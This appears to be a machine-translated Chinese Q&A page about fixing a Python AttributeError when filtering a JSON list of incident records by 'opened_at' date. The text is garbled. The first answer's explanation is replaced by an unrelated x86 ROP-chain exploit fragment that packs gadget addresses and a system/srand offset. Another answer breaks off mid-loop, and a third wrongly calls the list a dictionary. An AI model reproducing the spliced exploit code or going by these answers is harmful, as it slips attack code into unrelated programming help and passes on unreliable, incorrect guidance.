我正在从API
中读取json中的以下嵌套字典{
"result": [{
"short_description": "I am getting bluescreen error",
"sys_id": "39b5f8c2376ede007520021a54990e5c",
"opened_at": "2016-04-04 05:19:53",
"number":"INC0258523"
},
{
"short_description": "laptop crashed with a blue screen",
"sys_id": "da0095380f43d200a4f941fce1050eeb",
"opened_at":"2016-04-25 06:33:52",
"number":"INC0259067"
},
{
"short_description": "Laptop not booting",
"sys_id": "ecf9c9b00f43d200a4f941fce1050e17",
"opened_at": "2016-04-25 06:07:16",
"number": "INC0259061"
}]
}
我需要根据两个日期和两个日期过滤数据。 opened_at
是包含日期信息的值。
到目前为止我的尝试如下
url = "http://ip:port/api"
response = urllib.urlopen(url)
data = json.loads(response.read())
print type(data)
pattern = 'opened_at'
element = '2016-04-25 06:33:19'
with open('D:/Output.csv', 'wb') as f:
w = csv.DictWriter(f, data['result'][0].keys())
w.writeheader()
print type(data['result'])
for key in data['result']:
for v, val in data['result'].items():
if v == pattern and val == element:
w.writerow(v)
我在运行代码时遇到以下错误
AttributeError: 'list' object has no attribute 'items'
我知道数据的类型['结果']是一个列表。任何帮助将不胜感激。谢谢!
答案 0 :(得分:4)
p += pack("<I", 0x8049b4f) # pop eax ; add esp 0x5c; ret;
p += "\\\u609b\\\u0000" # system - srand offset
p += "A"*0x5c # this is needed because of add esp 0x5c from the previous instruction
p += pack("<I", 0x8048bf0) # pop ebx ; ret;
p += pack("<I", (0x0804bcd4 - 0x5d5b04c4) & 0xffffffff)
p += pack("<I", 0x80493fe) # add [ebx+0x5d5b04c4] eax; ret;
是一个字典列表,您应该按如下方式迭代:
data['result']
答案 1 :(得分:1)
你需要这个
import json
al = """
{
"result": [{
"short_description": "I am getting bluescreen error",
"sys_id": "39b5f8c2376ede007520021a54990e5c",
"opened_at": "2016-04-04 05:19:53",
"number":"INC0258523"
},
{
"short_description": "laptop crashed with a blue screen",
"sys_id": "da0095380f43d200a4f941fce1050eeb",
"opened_at":"2016-04-25 06:33:52",
"number":"INC0259067"
},
{
"short_description": "Laptop not booting",
"sys_id": "ecf9c9b00f43d200a4f941fce1050e17",
"opened_at": "2016-04-25 06:07:16",
"number": "INC0259061"
}]
}
"""
myjson = json.loads(al)
for val in myjson['result']:
print val['opened_at']
for key, value in val.items():#change it to keys if required
答案 2 :(得分:0)
实际上&#34;结果&#34;是一个词典。您可以通过&#34; {&#34;来识别Python中的词典。和&#34;}&#34;它被圈起来了。 所以这里是一个词典列表的词典!